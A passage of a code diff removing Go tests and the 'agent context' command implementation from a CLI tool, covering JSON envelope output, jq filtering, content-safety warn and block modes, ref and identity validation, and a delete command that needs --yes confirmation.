-	f := &cmdutil.Factory{
-		IOStreams:        &cmdutil.IOStreams{Out: out, ErrOut: errOut},
-		ResolvedIdentity: core.AsBot,
-	}
-	return f, out, errOut
-}
-
-// csProvider is a content-safety provider stub returning a fixed alert.
-type csProvider struct{ alert *extcs.Alert }
-
-func (p *csProvider) Name() string { return "test" }
-func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
-	return p.alert, nil
-}
-
-// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
-// lands on stdout with ok=true and the identity.
-func TestEmitTask_PlainSuccess(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
-	if err := emitTask(f, cmd, task, next, "json"); err != nil {
-		t.Fatalf("emit should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK || env.Identity != string(core.AsBot) {
-		t.Errorf("ok/identity mismatch: %+v", env)
-	}
-	if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
-		t.Errorf("meta.next should appear in the output: %s", out.String())
-	}
-}
-
-// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
-// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
-// so "meta" is absent from the serialized envelope. Covers both len(next)==0
-// inputs the branch can receive.
-func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
-	for _, tc := range []struct {
-		name string
-		next []output.NextAction
-	}{
-		{"nil next", nil},
-		{"empty non-nil next", []output.NextAction{}},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			f, out, _ := emitFactory()
-			cmd := newEmitCmd("task", "")
-			task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-			if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
-				t.Fatalf("emit should not error: %v", err)
-			}
-			var env output.Envelope
-			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-				t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-			}
-			if env.Meta != nil {
-				t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
-			}
-			if strings.Contains(out.String(), `"meta"`) {
-				t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
-			}
-		})
-	}
-}
-
-// TestEmitTask_JqFilter routes stdout through a valid jq expression.
-func TestEmitTask_JqFilter(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("jq filtering should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq .data.state should output working, got %q", got)
-	}
-}
-
-// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
-func TestEmitTask_JqFilterError(t *testing.T) {
-	f, _, _ := emitFactory()
-	cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err == nil {
-		t.Fatal("a malformed jq expression should error")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
-// without blocking output.
-func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn mode should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("unmarshal: %v (%s)", err, out.String())
-	}
-	if env.ContentSafetyAlert == nil {
-		t.Error("warn mode should attach the alert to the envelope")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
-// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
-// still filters stdout.
-func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, errOut := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn+jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq output should be working, got %q", got)
-	}
-	if !strings.Contains(errOut.String(), "content safety alert") {
-		t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
-	}
-}
-
-// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
-// to stdout.
-func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	err := emitTask(f, cmd, task, nil, "json")
-	if err == nil {
-		t.Fatal("block mode should return BlockErr")
-	}
-	if !errs.IsContentSafety(err) {
-		t.Errorf("should be a content-safety error, got %T", err)
-	}
-	if out.Len() > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.String())
-	}
-}
-
-// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
-// which exercise the json path only.
-func noPretty(io.Writer) {}
-
-// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
-// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
-// lands on stdout.
-func TestScanAndEmitData_PlainSuccess(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
-
-	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
-		t.Fatalf("emit should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK || env.Identity != string(core.AsBot) {
-		t.Errorf("ok/identity mismatch: %+v", env)
-	}
-	if env.Meta == nil || env.Meta.Count != 1 {
-		t.Errorf("meta.count should be 1, got %+v", env.Meta)
-	}
-}
-
-// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
-// emit helper now runs content-safety scanning (these payloads carry untrusted
-// agent text): in block mode it returns the typed block error and writes
-// nothing.
-func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
-
-	err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
-	if err == nil {
-		t.Fatal("block mode should return BlockErr")
-	}
-	if !errs.IsContentSafety(err) {
-		t.Errorf("should be a content-safety error, got %T", err)
-	}
-	if out.Len() > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.String())
-	}
-}
-
-// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
-// attached to the envelope without blocking output.
-func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
-
-	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
-		t.Fatalf("warn mode should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("unmarshal: %v (%s)", err, out.String())
-	}
-	if env.ContentSafetyAlert == nil {
-		t.Error("warn mode should attach the alert to the envelope")
-	}
-}
-
-// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
-// summaries carry untrusted agent text, so a block-mode content-safety hit
-// aborts the emit with the typed block error and writes nothing (task list used
-// to PrintJson directly and bypass scanning).
-func TestTaskListContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	opts, _ := taskTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listTasks: func(string) ([]iagent.TaskSummary, error) {
-		return []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"}}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	err := agentTaskListRun(opts)
-	if err == nil || !errs.IsContentSafety(err) {
-		t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
-	}
-	if len(out.Bytes()) > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
-	}
-}
-
-// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
-// active_task.Summary is untrusted agent text.
-func TestContextGetContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, TaskCount: 1,
-			ActiveTask: &iagent.TaskSummary{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	err := agentContextGetRun(opts)
-	if err == nil || !errs.IsContentSafety(err) {
-		t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
-	}
-	if len(out.Bytes()) > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
-	}
-}
-
-// resolveCmd builds an `agent card` command carrying an `--as` flag. When
-// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
-// the passed identity verbatim (needed to exercise the identity-check branch).
-func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "card"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if asChanged {
-		if err := leaf.Flags().Set("as", asVal); err != nil {
-			t.Fatal(err)
-		}
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// TestResolveSpec_Success resolves a valid example ref under an explicit bot
-// identity and returns a non-nil spec offline (no client).
-func TestResolveSpec_Success(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
-	if err != nil {
-		t.Fatalf("a valid ref + bot should succeed: %v", err)
-	}
-	if spec == nil || spec.Send == nil {
-		t.Fatal("should return a non-nil spec with core hooks")
-	}
-	if prov.Scheme != "example" || agentID != "echo" {
-		t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
-	}
-	if id != core.AsBot {
-		t.Errorf("identity should be bot, got %s", id)
-	}
-}
-
-// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
-// invalid_argument validation error (exit 2).
-func TestResolveSpec_MalformedRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// A malformed ref teaches the <scheme>:<agent_id> shape.
-	if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
-		t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
-	}
-}
-
-// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
-func TestResolveSpec_UnknownScheme(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
-	}
-}
-
-// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
-// framework validates it offline (a change from the old construct-only path).
-func TestResolveSpec_UnknownCatalogID(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
-	if err == nil || spec != nil {
-		t.Fatal("an unknown catalog id should error with a nil spec")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
-// unsupported --as is explicitly requested; no spec is returned.
-func TestResolveSpec_IdentityRejected(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "admin")
-
-	_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
-	if err == nil {
-		t.Fatal("an unsupported identity should error")
-	}
-	if spec != nil {
-		t.Error("should not return a spec when identity validation fails")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
-func TestRuntimeFor_APIClientError(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
-
-	if _, err := runtimeFor(f, core.AsBot, "echo"); err == nil {
-		t.Fatal("a Config error should propagate")
-	}
-}
-
-// unconfiguredFactory returns a Factory whose Config() errors (simulating a
-// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
-// pin that the API-free paths never reach the config gate.
-func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
-	t.Helper()
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
-	return f
-}
-
-// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
-// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
-// while runtimeFor (the client path) still fails at the config gate.
-func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
-	if err != nil {
-		t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
-	}
-	if spec == nil || id != core.AsBot {
-		t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
-	}
-	if _, err := runtimeFor(f, id, "echo"); err == nil {
-		t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
-	}
-}
-
-// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
-// scheme is a validation error (exit 2) even when unconfigured — it must not be
-// masked by not_configured.
-func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	for _, ref := range []string{"no-colon", "nope:agt_x"} {
-		_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
-		if err == nil {
-			t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
-		}
-		if !errs.IsValidation(err) {
-			t.Fatalf("ref %q should be a validation error, got %T", ref, err)
-		}
-	}
-}
-
-// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
-// card` is statically synthesized and must succeed unconfigured, never hitting
-// the config gate.
-func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
-		t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
-	}
-}
-
-// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
-// `agent send --dry-run` is a client-side preview and must succeed
-// unconfigured — the example echo card declares no parameters, so no --param is
-// needed. A malformed --param must still surface as validation, unconfigured.
-func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
-	})
-	if err != nil {
-		t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
-	}
-
-	// A malformed --param (no '=') is still a validation error, unconfigured.
-	err = agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
-		Params: []string{"noequals"}, DryRun: true, As: "bot",
-	})
-	if err == nil || !errs.IsValidation(err) {
-		t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
-	}
-}

cmd/agent/context.go

@@ -1,247 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"io"
-	"sort"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextOptions holds all inputs for the `agent context list|get|delete`
-// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
-// Ref, As) are wired once; each RunE reads only the fields its verb needs.
-type contextOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	CtxID   string
-	Yes     bool
-	As      string
-	Format  string
-}
-
-// NewCmdAgentContext builds the `agent context` command group: manage a remote
-// agent's multi-turn contexts (each verb gated on its own capability:
-// context_list / context_get / context_delete). It is a pure group with
-// no RunE so an unknown subcommand is reported rather than silently swallowed.
-func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "context",
-		Short: "Manage a remote agent's multi-turn contexts (sessions)",
-		Long:  "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
-	}
-	cmd.AddCommand(NewCmdAgentContextList(f))
-	cmd.AddCommand(NewCmdAgentContextGet(f))
-	cmd.AddCommand(NewCmdAgentContextDelete(f))
-	return cmd
-}
-
-// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
-// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
-func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's multi-turn contexts",
-		Long:  "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentContextListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
-// single context's detail. Risk=read.
-func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <ctx-id>",
-		Short: "Show the detail of a single multi-turn context",
-		Long:  "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextGetRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
-// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
-// requires --yes; without it the command returns a confirmation_required error
-// (exit 10) before touching the API. Risk=high-risk-write.
-func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "delete <agent_ref> <ctx-id>",
-		Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
-		Long:  "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextDeleteRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除（高危操作，不加则返回 exit 10）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
-	return cmd
-}
-
-// agentContextListRun runs `context list`: resolves the provider, lists
-// contexts, sorts them newest-first by UpdatedAt, and emits {contexts:[...]}
-// with meta.count through content-safety scanning (the rollup is derived from
-// untrusted agent activity).
-func agentContextListRun(opts *contextOptions) error {
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE the client: context_list is derived from ListContexts
-	// being wired, so a spec without it returns unsupported_capability offline.
-	if spec.ListContexts == nil {
-		return capabilityError(opts.Ref, "context list", iagent.CapContextList)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	contexts, err := spec.ListContexts(opts.Cmd.Context(), rt)
-	if err != nil {
-		return err
-	}
-	// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending; a stable sort
-	// preserves the provider's relative order for equal timestamps, and contexts
-	// with no timestamp sort last.
-	sort.SliceStable(contexts, func(i, j int) bool { return contexts[i].UpdatedAt > contexts[j].UpdatedAt })
-	if contexts == nil {
-		contexts = []iagent.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
-	}
-	return scanAndEmitData(f, opts.Cmd, opts.Format,
-		map[string]interface{}{"contexts": contexts},
-		&output.Meta{Count: len(contexts)},
-		func(w io.Writer) { printContextsTSV(w, contexts) })
-}
-
-// agentContextGetRun runs `context get`: resolves the provider, fetches the
-// context detail (metadata + rollup + the single active_task, NOT the full task
-// list), derives the active task's IsTerminal, and emits it through
-// content-safety scanning (active_task.Summary is untrusted agent text).
-func agentContextGetRun(opts *contextOptions) error {
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE the client.
-	if spec.GetContext == nil {
-		return capabilityError(opts.Ref, "context get", iagent.CapContextGet)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	detail, err := spec.GetContext(opts.Cmd.Context(), rt, opts.CtxID)
-	if err != nil {
-		return err
-	}
-	if detail != nil && detail.ActiveTask != nil {
-		// Derive IsTerminal from State (single source of truth) for the active task
-		// summary before emission — the provider only fills State.
-		detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
-	}
-	return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
-		func(w io.Writer) { printContextDetailPretty(w, detail) })
-}
-
-// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
-// first so a missing confirmation returns confirmation_required (exit 10) before
-// any provider is built and holds even under a nil Factory. Only a
-// confirmed delete reaches resolveSpec + DeleteContext.
-func agentContextDeleteRun(opts *contextOptions) error {
-	if !opts.Yes {
-		return cmdutil.RequireConfirmation("agent context delete")
-	}
-
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE the client.
-	if spec.DeleteContext == nil {
-		return capabilityError(opts.Ref, "context delete", iagent.CapContextDelete)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := spec.DeleteContext(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}

cmd/agent/context_test.go

@@ -1,529 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
-// is set to bot so ResolveAs honors it verbatim, and carries a context.
-func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	grp := &cobra.Command{Use: "context"}
-	l := &cobra.Command{Use: leaf}
-	root.AddCommand(group)
